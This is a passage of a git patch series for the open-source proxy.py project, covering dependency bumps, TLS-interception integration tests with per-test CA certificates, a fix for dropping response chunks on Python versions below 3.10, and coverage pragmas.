proxy.py after +# integration testing is done. At least on +# macOS and ubuntu, pkill and kill commands +# will do the job. +# +# For github action, we simply bank upon GitHub +# to clean up any background process including +# proxy.py + +PROXY_PY_PORT=$1 +if [[ -z "$PROXY_PY_PORT" ]]; then + echo "PROXY_PY_PORT required as argument." + exit 1 +fi + +PROXY_URL="127.0.0.1:$PROXY_PY_PORT" + +# Wait for server to come up +WAIT_FOR_PROXY="lsof -i TCP:$PROXY_PY_PORT | wc -l | tr -d ' '" +while true; do + if [[ $WAIT_FOR_PORT == 0 ]]; then + echo "Waiting for proxy..." + sleep 1 + else + break + fi +done + +# Wait for http proxy and web server to start +while true; do + curl -v \ + --max-time 1 \ + --connect-timeout 1 \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + http://$PROXY_URL/ 2>/dev/null + if [[ $? == 0 ]]; then + break + fi + echo "Waiting for web server to start accepting requests..." + sleep 1 +done + +verify_response() { + if [ "$1" == "" ]; + then + echo "Empty response"; + return 1; + else + if [ "$1" == "$2" ]; + then + echo "Ok"; + return 0; + else + echo "Invalid response: '$1', expected: '$2'"; + return 1; + fi + fi; +} + +verify_contains() { + if [ "$1" == "" ]; + then + echo "Empty response"; + return 1; + else + if [[ "$1" == *"$2"* ]]; + then + echo "Ok"; + return 0; + else + echo "Invalid response: '$1', expected: '$2'"; + return 1; + fi + fi; +} + +read -r -d '' MODIFIED_POST_DATA << EOM +"key": "modified" +EOM + +echo "[Test ModifyPostDataPlugin]" +RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert.pem -d '{"key": "value"}' https://httpbin.org/post 2> /dev/null) +verify_contains "$RESPONSE" "$MODIFIED_POST_DATA" +VERIFIED1=$? + +EXIT_CODE=$(( $VERIFIED1 )) +exit $EXIT_CODE From 06e1ffc1f328ee757ce802815f50a9c92b070181 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 14 Jan 2022 10:46:54 +0530 Subject: [PATCH 34/38] npm: bump typescript from 3.9.7 to 4.5.4 in /dashboard (#982) Bumps [typescript](https://github.com/Microsoft/TypeScript) from 3.9.7 to 4.5.4. - [Release notes](https://github.com/Microsoft/TypeScript/releases) - [Commits](https://github.com/Microsoft/TypeScript/compare/v3.9.7...v4.5.4) --- updated-dependencies: - dependency-name: typescript dependency-type: direct:development update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 14 +++++++------- dashboard/package.json | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index 8ec9edb53a..7380b91e55 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -33,7 +33,7 @@ "rollup-plugin-javascript-obfuscator": "^1.0.4", "rollup-plugin-typescript": "^1.0.1", "ts-node": "^7.0.1", - "typescript": "^3.9.7", + "typescript": "^4.5.4", "ws": "^8.4.0" } }, @@ -4772,9 +4772,9 @@ } }, "node_modules/typescript": { - "version": "3.9.7", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.7.tgz", - "integrity": "sha512-BLbiRkiBzAwsjut4x/dsibSTB6yWpwT5qWmC2OfuCg3GgVQCSgMs4vEctYPhsaGtd0AeuuHMkjZ2h2WG8MSzRw==", + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.5.4.tgz", + "integrity": "sha512-VgYs2A2QIRuGphtzFV7aQJduJ2gyfTljngLzjpfW9FoYZF6xuw1W0vW9ghCKLfcWrCFxK81CSGRAvS1pn4fIUg==", "dev": true, "bin": { "tsc": "bin/tsc", @@ -8832,9 +8832,9 @@ "dev": true }, "typescript": { - "version": "3.9.7", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.7.tgz", - "integrity": "sha512-BLbiRkiBzAwsjut4x/dsibSTB6yWpwT5qWmC2OfuCg3GgVQCSgMs4vEctYPhsaGtd0AeuuHMkjZ2h2WG8MSzRw==", + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.5.4.tgz", + "integrity": "sha512-VgYs2A2QIRuGphtzFV7aQJduJ2gyfTljngLzjpfW9FoYZF6xuw1W0vW9ghCKLfcWrCFxK81CSGRAvS1pn4fIUg==", "dev": true }, "unbox-primitive": { diff --git a/dashboard/package.json b/dashboard/package.json index 8294116569..6a83e60bc6 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -49,7 +49,7 @@ "rollup-plugin-javascript-obfuscator": "^1.0.4", "rollup-plugin-typescript": "^1.0.1", "ts-node": "^7.0.1", - "typescript": "^3.9.7", + "typescript": "^4.5.4", "ws": "^8.4.0" } } From 8f51ce304b94423f84992c633007d4411564a973 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 14 Jan 2022 10:51:00 +0530 Subject: [PATCH 35/38] pip prod(deps): bump types-paramiko from 2.8.6 to 2.8.9 (#983) Bumps [types-paramiko](https://github.com/python/typeshed) from 2.8.6 to 2.8.9. - [Release notes](https://github.com/python/typeshed/releases) - [Commits](https://github.com/python/typeshed/commits) --- updated-dependencies: - dependency-name: types-paramiko dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- requirements-tunnel.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-tunnel.txt b/requirements-tunnel.txt index f15eb3464b..8f0154a0e0 100644 --- a/requirements-tunnel.txt +++ b/requirements-tunnel.txt @@ -1,2 +1,2 @@ paramiko==2.9.2 -types-paramiko==2.8.6 +types-paramiko==2.8.9 From 2714d3d22a8364d21193d04e807a519730dd1a40 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Fri, 14 Jan 2022 12:02:17 +0530 Subject: [PATCH 36/38] Pass separate `--ca-cert-dir` flag for parallel TLS interception tests (#984) * Pass separate `--ca-cert-dir` flag for parallel TLS interception tests * Temp disable `test_modify_post_response_integration` * mock ca cert dir * Is threaded an issue with TLS interception? * Disable modify chunk response for python < 3.10 * Disable modify chunk response for python < 3.10 --- proxy/common/flag.py | 2 +- tests/integration/test_integration.py | 41 +++++++++++-------- .../integration/test_modify_chunk_response.sh | 3 +- tests/integration/test_modify_post_data.sh | 17 -------- tests/test_main.py | 3 +- 5 files changed, 29 insertions(+), 37 deletions(-) diff --git a/proxy/common/flag.py b/proxy/common/flag.py index 1908aad485..28c7126bac 100644 --- a/proxy/common/flag.py +++ b/proxy/common/flag.py @@ -379,7 +379,7 @@ def initialize( args.ca_cert_dir = os.path.join( args.proxy_py_data_dir, 'certificates', ) - os.makedirs(args.ca_cert_dir, exist_ok=True) + os.makedirs(args.ca_cert_dir, exist_ok=True) return args diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index a1270f2410..26eb6c0eb3 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -10,6 +10,7 @@ Test the simplest proxy use scenario for smoke. """ +import sys import time import pytest import tempfile @@ -89,7 +90,9 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: After the testing is over, tear it down. """ - port_file = Path(tempfile.gettempdir()) / 'proxy.port' + temp_dir = Path(tempfile.gettempdir()) + port_file = temp_dir / 'proxy.port' + ca_cert_dir = temp_dir / ('certificates-%s' % int(time.time())) proxy_cmd = ( 'python', '-m', 'proxy', '--hostname', '127.0.0.1', @@ -98,6 +101,8 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: '--enable-web-server', '--num-acceptors', '3', '--num-workers', '3', + '--ca-cert-dir', str(ca_cert_dir), + '--log-level', 'd', ) + tuple(request.param.split()) proxy_proc = Popen(proxy_cmd) # Needed because port file might not be available immediately @@ -148,21 +153,25 @@ def test_integration_with_interception_flags(proxy_py_subprocess: int) -> None: check_output([str(shell_script_test), str(proxy_py_subprocess)]) -# @pytest.mark.smoke # type: ignore[misc] -# @pytest.mark.parametrize( -# 'proxy_py_subprocess', -# PROXY_PY_FLAGS_MODIFY_CHUNK_RESPONSE_PLUGIN, -# indirect=True, -# ) # type: ignore[misc] -# @pytest.mark.skipif( -# IS_WINDOWS, -# reason='OSError: [WinError 193] %1 is not a valid Win32 application', -# ) # type: ignore[misc] -# def test_modify_chunk_response_integration(proxy_py_subprocess: int) -> None: -# """An acceptance test for :py:class:`~proxy.plugin.ModifyChunkResponsePlugin` -# interception using ``curl`` through proxy.py.""" -# shell_script_test = Path(__file__).parent / 'test_modify_chunk_response.sh' -# check_output([str(shell_script_test), str(proxy_py_subprocess)]) +@pytest.mark.smoke # type: ignore[misc] +@pytest.mark.parametrize( + 'proxy_py_subprocess', + PROXY_PY_FLAGS_MODIFY_CHUNK_RESPONSE_PLUGIN, + indirect=True, +) # type: ignore[misc] +@pytest.mark.skipif( + IS_WINDOWS, + reason='OSError: [WinError 193] %1 is not a valid Win32 application', +) # type: ignore[misc] +@pytest.mark.skipif( + sys.version_info < (3, 10), + reason='For version < 3.10, GHA integration run into OSError when flushing to clients', +) # type: ignore[misc] +def test_modify_chunk_response_integration(proxy_py_subprocess: int) -> None: + """An acceptance test for :py:class:`~proxy.plugin.ModifyChunkResponsePlugin` + interception using ``curl`` through proxy.py.""" + shell_script_test = Path(__file__).parent / 'test_modify_chunk_response.sh' + check_output([str(shell_script_test), str(proxy_py_subprocess)]) @pytest.mark.smoke # type: ignore[misc] diff --git a/tests/integration/test_modify_chunk_response.sh b/tests/integration/test_modify_chunk_response.sh index be66555b3f..97dc052954 100755 --- a/tests/integration/test_modify_chunk_response.sh +++ b/tests/integration/test_modify_chunk_response.sh @@ -76,8 +76,7 @@ plugin EOM echo "[Test ModifyChunkResponsePlugin]" -CMD="curl -v -x $PROXY_URL --cacert ca-cert.pem https://httpbin.org/stream/5" -RESPONSE=$($CMD 2> /dev/null) +RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert.pem https://httpbin.org/stream/5 2> /dev/null) verify_response "$RESPONSE" "$MODIFIED_CHUNK_RESPONSE" VERIFIED1=$? diff --git a/tests/integration/test_modify_post_data.sh b/tests/integration/test_modify_post_data.sh index 60b270ff63..d23a6fdf07 100755 --- a/tests/integration/test_modify_post_data.sh +++ b/tests/integration/test_modify_post_data.sh @@ -51,23 +51,6 @@ while true; do sleep 1 done -verify_response() { - if [ "$1" == "" ]; - then - echo "Empty response"; - return 1; - else - if [ "$1" == "$2" ]; - then - echo "Ok"; - return 0; - else - echo "Invalid response: '$1', expected: '$2'"; - return 1; - fi - fi; -} - verify_contains() { if [ "$1" == "" ]; then diff --git a/tests/test_main.py b/tests/test_main.py index c3d9f18691..8ac149fb53 100644 --- a/tests/test_main.py +++ b/tests/test_main.py @@ -17,7 +17,7 @@ from proxy.proxy import main, entry_point from proxy.common.utils import bytes_ from proxy.common.constants import ( # noqa: WPS450 - DEFAULT_PORT, DEFAULT_PLUGINS, DEFAULT_TIMEOUT, DEFAULT_KEY_FILE, + DEFAULT_CA_CERT_DIR, DEFAULT_PORT, DEFAULT_PLUGINS, DEFAULT_TIMEOUT, DEFAULT_KEY_FILE, DEFAULT_LOG_FILE, DEFAULT_PAC_FILE, DEFAULT_PID_FILE, PLUGIN_DASHBOARD, DEFAULT_CERT_FILE, DEFAULT_LOG_LEVEL, DEFAULT_PORT_FILE, PLUGIN_HTTP_PROXY, PLUGIN_PROXY_AUTH, PLUGIN_WEB_SERVER, DEFAULT_BASIC_AUTH, @@ -45,6 +45,7 @@ def mock_default_args(mock_args: mock.Mock) -> None: mock_args.ca_key_file = DEFAULT_CA_KEY_FILE mock_args.ca_cert_file = DEFAULT_CA_CERT_FILE mock_args.ca_signing_key_file = DEFAULT_CA_SIGNING_KEY_FILE + mock_args.ca_cert_dir = DEFAULT_CA_CERT_DIR mock_args.pid_file = DEFAULT_PID_FILE mock_args.log_file = DEFAULT_LOG_FILE mock_args.log_level = DEFAULT_LOG_LEVEL From 0ffa7ca9fbbb45c6b0d3bfb78780fce5eb10d849 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Fri, 14 Jan 2022 14:35:28 +0530 Subject: [PATCH 37/38] [TlsInterception] Fix broken `ChunkedResponsePlugin` for `Python < 3.10` (#986) * Add TLS interception integration tests * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix CI * unused * Well 3.9 just worked locally * Dispatching empty byte to client results in OSError for Python < 3.10 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Uncomment old integration tests Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- Makefile | 7 +-- proxy/common/flag.py | 3 ++ proxy/core/connection/client.py | 1 - proxy/http/proxy/plugin.py | 7 ++- proxy/http/proxy/server.py | 31 ++++++----- proxy/plugin/cache/base.py | 2 +- proxy/plugin/man_in_the_middle.py | 4 +- proxy/plugin/modify_chunk_response.py | 6 +-- proxy/plugin/proxy_pool.py | 2 +- tests/integration/test_integration.py | 52 +++++++++++-------- .../integration/test_modify_chunk_response.sh | 4 +- tests/integration/test_modify_post_data.sh | 4 +- 12 files changed, 72 insertions(+), 51 deletions(-) diff --git a/Makefile b/Makefile index 1944a0639c..793edfad9c 100644 --- a/Makefile +++ b/Makefile @@ -12,9 +12,10 @@ HTTPS_CERT_FILE_PATH := https-cert.pem HTTPS_CSR_FILE_PATH := https-csr.pem HTTPS_SIGNED_CERT_FILE_PATH := https-signed-cert.pem -CA_KEY_FILE_PATH := ca-key.pem -CA_CERT_FILE_PATH := ca-cert.pem -CA_SIGNING_KEY_FILE_PATH := ca-signing-key.pem +CA_CERT_SUFFIX := +CA_KEY_FILE_PATH := ca-key$(CA_CERT_SUFFIX).pem +CA_CERT_FILE_PATH := ca-cert$(CA_CERT_SUFFIX).pem +CA_SIGNING_KEY_FILE_PATH := ca-signing-key$(CA_CERT_SUFFIX).pem # Dummy invalid hardcoded value PROXYPY_PKG_PATH := dist/proxy.py.whl diff --git a/proxy/common/flag.py b/proxy/common/flag.py index 28c7126bac..63bef59818 100644 --- a/proxy/common/flag.py +++ b/proxy/common/flag.py @@ -242,12 +242,14 @@ def initialize( ), ) args.disable_headers = disabled_headers if disabled_headers is not None else DEFAULT_DISABLE_HEADERS + args.certfile = cast( Optional[str], opts.get( 'cert_file', args.cert_file, ), ) args.keyfile = cast(Optional[str], opts.get('key_file', args.key_file)) + args.ca_key_file = cast( Optional[str], opts.get( 'ca_key_file', args.ca_key_file, @@ -272,6 +274,7 @@ def initialize( args.ca_file, ), ) + args.hostname = cast( IpAddress, opts.get('hostname', ipaddress.ip_address(args.hostname)), diff --git a/proxy/core/connection/client.py b/proxy/core/connection/client.py index a6d91896cf..966221e17b 100644 --- a/proxy/core/connection/client.py +++ b/proxy/core/connection/client.py @@ -46,7 +46,6 @@ def wrap(self, keyfile: str, certfile: str) -> None: self._conn = ssl.wrap_socket( self.connection, server_side=True, - # ca_certs=self.flags.ca_cert_file, certfile=certfile, keyfile=keyfile, ssl_version=ssl.PROTOCOL_TLS, diff --git a/proxy/http/proxy/plugin.py b/proxy/http/proxy/plugin.py index ade40f7187..ee41a8424a 100644 --- a/proxy/http/proxy/plugin.py +++ b/proxy/http/proxy/plugin.py @@ -131,11 +131,14 @@ def handle_client_request( # No longer abstract since 2.4.0 # # @abstractmethod - def handle_upstream_chunk(self, chunk: memoryview) -> memoryview: + def handle_upstream_chunk(self, chunk: memoryview) -> Optional[memoryview]: """Handler called right after receiving raw response from upstream server. For HTTPS connections, chunk will be encrypted unless - TLS interception is also enabled.""" + TLS interception is also enabled. + + Return None if you don't want to sent this chunk to the client. + """ return chunk # pragma: no cover # No longer abstract since 2.4.0 diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index 9e9f61947d..7029a4333c 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -280,24 +280,29 @@ async def read_from_descriptors(self, r: Readables) -> bool: for plugin in self.plugins.values(): raw = plugin.handle_upstream_chunk(raw) + if raw is None: + break # parse incoming response packet # only for non-https requests and when # tls interception is enabled - if not self.request.is_https_tunnel \ - or self.tls_interception_enabled: - if self.response.is_complete: - self.handle_pipeline_response(raw) + if raw is not None: + if ( + not self.request.is_https_tunnel + or self.tls_interception_enabled + ): + if self.response.is_complete: + self.handle_pipeline_response(raw) + else: + # TODO(abhinavsingh): Remove .tobytes after parser is + # memoryview compliant + chunk = raw.tobytes() + self.response.parse(chunk) + self.emit_response_events(len(chunk)) else: - # TODO(abhinavsingh): Remove .tobytes after parser is - # memoryview compliant - chunk = raw.tobytes() - self.response.parse(chunk) - self.emit_response_events(len(chunk)) - else: - self.response.total_size += len(raw) - # queue raw data for client - self.client.queue(raw) + self.response.total_size += len(raw) + # queue raw data for client + self.client.queue(raw) return False def on_client_connection_close(self) -> None: diff --git a/proxy/plugin/cache/base.py b/proxy/plugin/cache/base.py index e74d7dd960..4451adf1a7 100644 --- a/proxy/plugin/cache/base.py +++ b/proxy/plugin/cache/base.py @@ -54,7 +54,7 @@ def handle_client_request( assert self.store return self.store.cache_request(request) - def handle_upstream_chunk(self, chunk: memoryview) -> memoryview: + def handle_upstream_chunk(self, chunk: memoryview) -> Optional[memoryview]: assert self.store return self.store.cache_response_chunk(chunk) diff --git a/proxy/plugin/man_in_the_middle.py b/proxy/plugin/man_in_the_middle.py index 7975820ec0..d571f25a23 100644 --- a/proxy/plugin/man_in_the_middle.py +++ b/proxy/plugin/man_in_the_middle.py @@ -8,6 +8,8 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ +from typing import Optional + from ..http.responses import okResponse from ..http.proxy import HttpProxyBasePlugin @@ -15,5 +17,5 @@ class ManInTheMiddlePlugin(HttpProxyBasePlugin): """Modifies upstream server responses.""" - def handle_upstream_chunk(self, _chunk: memoryview) -> memoryview: + def handle_upstream_chunk(self, _chunk: memoryview) -> Optional[memoryview]: return okResponse(content=b'Hello from man in the middle') diff --git a/proxy/plugin/modify_chunk_response.py b/proxy/plugin/modify_chunk_response.py index 05e6c6f3eb..a0838da58d 100644 --- a/proxy/plugin/modify_chunk_response.py +++ b/proxy/plugin/modify_chunk_response.py @@ -8,7 +8,7 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -from typing import Any +from typing import Any, Optional from ..http.parser import HttpParser, httpParserTypes from ..http.proxy import HttpProxyBasePlugin @@ -29,7 +29,7 @@ def __init__(self, *args: Any, **kwargs: Any) -> None: # Create a new http protocol parser for response payloads self.response = HttpParser(httpParserTypes.RESPONSE_PARSER) - def handle_upstream_chunk(self, chunk: memoryview) -> memoryview: + def handle_upstream_chunk(self, chunk: memoryview) -> Optional[memoryview]: # Parse the response. # Note that these chunks also include headers self.response.parse(chunk.tobytes()) @@ -40,4 +40,4 @@ def handle_upstream_chunk(self, chunk: memoryview) -> memoryview: if self.response.body_expected: self.response.body = b'\n'.join(self.DEFAULT_CHUNKS) + b'\n' self.client.queue(memoryview(self.response.build_response())) - return memoryview(b'') + return None diff --git a/proxy/plugin/proxy_pool.py b/proxy/plugin/proxy_pool.py index 1ae13ed123..41ffe5b711 100644 --- a/proxy/plugin/proxy_pool.py +++ b/proxy/plugin/proxy_pool.py @@ -182,7 +182,7 @@ def handle_client_data(self, raw: memoryview) -> Optional[memoryview]: self.upstream.queue(raw) return raw - def handle_upstream_chunk(self, chunk: memoryview) -> memoryview: + def handle_upstream_chunk(self, chunk: memoryview) -> Optional[memoryview]: """Will never be called since we didn't establish an upstream connection.""" if not self.upstream: return chunk diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index 26eb6c0eb3..a6f0ed4ed9 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -10,10 +10,10 @@ Test the simplest proxy use scenario for smoke. """ -import sys import time import pytest import tempfile +import subprocess from pathlib import Path from typing import Any, Generator @@ -22,11 +22,13 @@ from proxy.common.constants import IS_WINDOWS -TLS_INTERCEPTION_FLAGS = ' '.join(( - '--ca-cert-file', 'ca-cert.pem', - '--ca-key-file', 'ca-key.pem', - '--ca-signing-key', 'ca-signing-key.pem', -)) +def _tls_interception_flags(ca_cert_suffix: str = '') -> str: + return ' '.join(( + '--ca-cert-file', 'ca-cert%s.pem' % ca_cert_suffix, + '--ca-key-file', 'ca-key%s.pem' % ca_cert_suffix, + '--ca-signing-key', 'ca-signing-key%s.pem' % ca_cert_suffix, + )) + PROXY_PY_FLAGS_INTEGRATION = ( ('--threadless'), @@ -35,45 +37,55 @@ ) PROXY_PY_FLAGS_TLS_INTERCEPTION = ( - ('--threadless ' + TLS_INTERCEPTION_FLAGS), - ('--threadless --local-executor 0 ' + TLS_INTERCEPTION_FLAGS), - ('--threaded ' + TLS_INTERCEPTION_FLAGS), + ('--threadless ' + _tls_interception_flags()), + ('--threadless --local-executor 0 ' + _tls_interception_flags()), + ('--threaded ' + _tls_interception_flags()), ) PROXY_PY_FLAGS_MODIFY_CHUNK_RESPONSE_PLUGIN = ( ( '--threadless --plugin proxy.plugin.ModifyChunkResponsePlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-chunk') ), ( '--threadless --local-executor 0 --plugin proxy.plugin.ModifyChunkResponsePlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-chunk') ), ( '--threaded --plugin proxy.plugin.ModifyChunkResponsePlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-chunk') ), ) PROXY_PY_FLAGS_MODIFY_POST_DATA_PLUGIN = ( ( '--threadless --plugin proxy.plugin.ModifyPostDataPlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-post') ), ( '--threadless --local-executor 0 --plugin proxy.plugin.ModifyPostDataPlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-post') ), ( '--threaded --plugin proxy.plugin.ModifyPostDataPlugin ' + - TLS_INTERCEPTION_FLAGS + _tls_interception_flags('-post') ), ) @pytest.fixture(scope='session', autouse=True) # type: ignore[misc] -def _gen_ca_certificates() -> None: - check_output(['make', 'ca-certificates']) +def _gen_ca_certificates(request: Any) -> None: + check_output([ + 'make', 'ca-certificates', + ]) + check_output([ + 'make', 'ca-certificates', + '-e', 'CA_CERT_SUFFIX=-chunk', + ]) + check_output([ + 'make', 'ca-certificates', + '-e', 'CA_CERT_SUFFIX=-post', + ]) # FIXME: Ignore is necessary for as long as pytest hasn't figured out @@ -104,7 +116,7 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: '--ca-cert-dir', str(ca_cert_dir), '--log-level', 'd', ) + tuple(request.param.split()) - proxy_proc = Popen(proxy_cmd) + proxy_proc = Popen(proxy_cmd, stderr=subprocess.STDOUT) # Needed because port file might not be available immediately while not port_file.exists(): time.sleep(1) @@ -163,10 +175,6 @@ def test_integration_with_interception_flags(proxy_py_subprocess: int) -> None: IS_WINDOWS, reason='OSError: [WinError 193] %1 is not a valid Win32 application', ) # type: ignore[misc] -@pytest.mark.skipif( - sys.version_info < (3, 10), - reason='For version < 3.10, GHA integration run into OSError when flushing to clients', -) # type: ignore[misc] def test_modify_chunk_response_integration(proxy_py_subprocess: int) -> None: """An acceptance test for :py:class:`~proxy.plugin.ModifyChunkResponsePlugin` interception using ``curl`` through proxy.py.""" diff --git a/tests/integration/test_modify_chunk_response.sh b/tests/integration/test_modify_chunk_response.sh index 97dc052954..ad2c8948f5 100755 --- a/tests/integration/test_modify_chunk_response.sh +++ b/tests/integration/test_modify_chunk_response.sh @@ -42,7 +42,7 @@ while true; do --max-time 1 \ --connect-timeout 1 \ -x $PROXY_URL \ - --cacert ca-cert.pem \ + --cacert ca-cert-chunk.pem \ http://$PROXY_URL/ 2>/dev/null if [[ $? == 0 ]]; then break @@ -76,7 +76,7 @@ plugin EOM echo "[Test ModifyChunkResponsePlugin]" -RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert.pem https://httpbin.org/stream/5 2> /dev/null) +RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert-chunk.pem https://httpbin.org/stream/5 2> /dev/null) verify_response "$RESPONSE" "$MODIFIED_CHUNK_RESPONSE" VERIFIED1=$? diff --git a/tests/integration/test_modify_post_data.sh b/tests/integration/test_modify_post_data.sh index d23a6fdf07..8f12130d76 100755 --- a/tests/integration/test_modify_post_data.sh +++ b/tests/integration/test_modify_post_data.sh @@ -42,7 +42,7 @@ while true; do --max-time 1 \ --connect-timeout 1 \ -x $PROXY_URL \ - --cacert ca-cert.pem \ + --cacert ca-cert-post.pem \ http://$PROXY_URL/ 2>/dev/null if [[ $? == 0 ]]; then break @@ -73,7 +73,7 @@ read -r -d '' MODIFIED_POST_DATA << EOM EOM echo "[Test ModifyPostDataPlugin]" -RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert.pem -d '{"key": "value"}' https://httpbin.org/post 2> /dev/null) +RESPONSE=$(curl -v -x $PROXY_URL --cacert ca-cert-post.pem -d '{"key": "value"}' https://httpbin.org/post 2> /dev/null) verify_contains "$RESPONSE" "$MODIFIED_POST_DATA" VERIFIED1=$? From 38eab69baf2bf36eb27fc363ee45d17098af38cf Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Fri, 14 Jan 2022 15:13:14 +0530 Subject: [PATCH 38/38] Add `# pragma: no cover` for unnecessary code (#987) --- proxy/common/_version.py | 8 ++++---- proxy/common/backports.py | 6 +++--- proxy/common/logger.py | 2 +- proxy/common/types.py | 4 ++-- proxy/common/utils.py | 5 +++-- proxy/core/acceptor/acceptor.py | 2 +- proxy/core/connection/pool.py | 2 +- proxy/core/work/delegate.py | 2 +- proxy/core/work/pool.py | 2 +- proxy/core/work/threaded.py | 2 +- proxy/core/work/threadless.py | 2 +- proxy/core/work/work.py | 2 +- proxy/http/exception/base.py | 2 +- proxy/http/exception/http_request_rejected.py | 2 +- proxy/http/exception/proxy_auth_failed.py | 2 +- proxy/http/exception/proxy_conn_failed.py | 2 +- proxy/http/plugin.py | 2 +- proxy/http/proxy/plugin.py | 2 +- proxy/http/server/plugin.py | 2 +- requirements-testing.txt | 1 + 20 files changed, 28 insertions(+), 26 deletions(-) diff --git a/proxy/common/_version.py b/proxy/common/_version.py index cea99cdfa7..21031c649a 100644 --- a/proxy/common/_version.py +++ b/proxy/common/_version.py @@ -15,26 +15,26 @@ try: # pylint: disable=unused-import from ._scm_version import version as __version__, version_tuple as _ver_tup # noqa: WPS433, WPS436 -except ImportError: +except ImportError: # pragma: no cover from pkg_resources import get_distribution as _get_dist # noqa: WPS433 __version__ = _get_dist('proxy.py').version # noqa: WPS440 -def _to_int_or_str(inp: str) -> Union[int, str]: +def _to_int_or_str(inp: str) -> Union[int, str]: # pragma: no cover try: return int(inp) except ValueError: return inp -def _split_version_parts(inp: str) -> Tuple[str, ...]: +def _split_version_parts(inp: str) -> Tuple[str, ...]: # pragma: no cover public_version, _plus, local_version = inp.partition('+') return (*public_version.split('.'), local_version) try: VERSION = _ver_tup -except NameError: +except NameError: # pragma: no cover VERSION = tuple( map(_to_int_or_str, _split_version_parts(__version__)), ) diff --git a/proxy/common/backports.py b/proxy/common/backports.py index c2533fe020..87dbbdf958 100644 --- a/proxy/common/backports.py +++ b/proxy/common/backports.py @@ -16,7 +16,7 @@ from collections import deque -class cached_property: +class cached_property: # pragma: no cover """Decorator for read-only properties evaluated only once within TTL period. It can be used to create a cached property like this:: @@ -111,8 +111,8 @@ def get(self) -> Any: def empty(self) -> bool: '''Return True if the queue is empty, False otherwise (not reliable!).''' - return len(self._queue) == 0 + return len(self._queue) == 0 # pragma: no cover def qsize(self) -> int: '''Return the approximate size of the queue (not reliable!).''' - return len(self._queue) + return len(self._queue) # pragma: no cover diff --git a/proxy/common/logger.py b/proxy/common/logger.py index 675deeae98..dbd2e8aa51 100644 --- a/proxy/common/logger.py +++ b/proxy/common/logger.py @@ -36,7 +36,7 @@ def setup( log_level: str = DEFAULT_LOG_LEVEL, log_format: str = DEFAULT_LOG_FORMAT, ) -> None: - if log_file: + if log_file: # pragma: no cover logging.basicConfig( filename=log_file, filemode='a', diff --git a/proxy/common/types.py b/proxy/common/types.py index 9b055c3253..79bfc62cc4 100644 --- a/proxy/common/types.py +++ b/proxy/common/types.py @@ -14,8 +14,8 @@ from typing import TYPE_CHECKING, Dict, Any, List, Tuple, Union -if TYPE_CHECKING: - DictQueueType = queue.Queue[Dict[str, Any]] # pragma: no cover +if TYPE_CHECKING: # pragma: no cover + DictQueueType = queue.Queue[Dict[str, Any]] else: DictQueueType = queue.Queue diff --git a/proxy/common/utils.py b/proxy/common/utils.py index 0bc2bc9929..e7373ac24f 100644 --- a/proxy/common/utils.py +++ b/proxy/common/utils.py @@ -28,7 +28,7 @@ DEFAULT_TIMEOUT, DEFAULT_THREADLESS, IS_WINDOWS, ) -if not IS_WINDOWS: +if not IS_WINDOWS: # pragma: no cover import resource logger = logging.getLogger(__name__) @@ -282,7 +282,8 @@ def get_available_port() -> int: def set_open_file_limit(soft_limit: int) -> None: """Configure open file description soft limit on supported OS.""" - if IS_WINDOWS: # resource module not available on Windows OS + # resource module not available on Windows OS + if IS_WINDOWS: # pragma: no cover return curr_soft_limit, curr_hard_limit = resource.getrlimit( diff --git a/proxy/core/acceptor/acceptor.py b/proxy/core/acceptor/acceptor.py index 8d71f7228e..f578e0af31 